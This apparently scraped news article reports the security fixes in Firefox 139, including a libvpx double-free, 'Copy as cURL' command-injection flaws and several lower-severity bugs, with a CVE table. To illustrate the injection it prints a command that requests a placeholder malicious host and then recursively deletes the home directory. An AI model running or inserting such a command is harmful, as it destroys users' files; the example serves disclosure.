Mozilla has released Firefox 139, addressing several critical and moderate security vulnerabilities that posed significant risks to users.
The update, announced on May 27, 2025, resolves issues ranging from memory corruption and local code execution to cross-origin data leaks, reinforcing Firefox’s commitment to user safety.
One of the most severe vulnerabilities fixed in Firefox 139 is a double-free bug in the libvpx encoder, specifically within the vpx_codec_enc_init_multi function used by WebRTC.
Reported by Randell Jesup, this flaw could trigger a double-free scenario after a failed memory allocation during encoder initialization.
The result: potential memory corruption and a crash that can be exploited for arbitrary code execution—an impact rated as critical by Mozilla.
Technical Details:
vpx_codec_enc_init_multiA double-free occurs when a program attempts to free the same memory location twice, leading to undefined behavior and often exploitable crashes.
Attackers exploiting this bug could potentially execute malicious code on a user’s system without any user interaction beyond normal browsing.
Firefox 139 also patches multiple moderate severity vulnerabilities, including two distinct flaws in the “Copy as cURL” developer tool feature.
Both were reported by Ameen Basha M K:
Example of Risky Command:
bashcurl "http://malicious.com" && rm -rf ~/
If newline or ampersand characters are not properly escaped, an attacker could append destructive shell commands, tricking users into executing them.
Additional moderate vulnerabilities include:
While most vulnerabilities addressed in Firefox 139 are critical or moderate, several low-impact flaws were also fixed:
| Vulnerability ID | Component/Feature | Impact Level | Potential Risk | Platform Affected |
|---|---|---|---|---|
| MFSA-TMP-2025-0001 | libvpx encoder | Critical | Memory corruption, code execution | All |
| CVE-2025-5263 | Script execution | Moderate | Cross-origin leak attacks | All |
| CVE-2025-5264 | Copy as cURL (newline) | Moderate | Local code execution | All |
| CVE-2025-5265 | Copy as cURL (ampersand) | Moderate | Local code execution | Windows only |
| CVE-2025-5266 | Script elements | Moderate | XS-Leaks attacks | All |
| CVE-2025-5270 | SNI encryption | Low | Metadata exposure | All |
| CVE-2025-5271 | DevTools preview | Low | Content injection | All |
| CVE-2025-5267 | Clickjacking | Low | Payment card data leak | All |
| CVE-2025-5268/5272 | Memory safety bugs | Moderate | Memory corruption, code execution | All |
Firefox 139’s security update demonstrates Mozilla’s proactive approach to mitigating both critical and moderate threats.
Users are strongly encouraged to update to the latest version to benefit from these essential security fixes and maintain a secure browsing environment.
Find this News Interesting! Follow us on Google News, LinkedIn, & X to Get Instant Updates!
A decade-old authentication bypass in OpenSSH on musl-based Linux lets attackers log into accounts that…
Bitdefender researchers have revealed a vulnerability called GhostMap that affects Android devices. This vulnerability can…
Microsoft has announced a vulnerability in Windows Paint that could let unauthenticated attackers execute malicious…
An autonomous penetration-testing framework linked to South Korean banking breaches and cloud supply-chain attacks is…
Shopify is making IP allowlisting mandatory for all public apps to limit abuse of stolen…
OpenAI has introduced GPT-6 Cyber, a security-focused model built to find and validate exploitable vulnerabilities…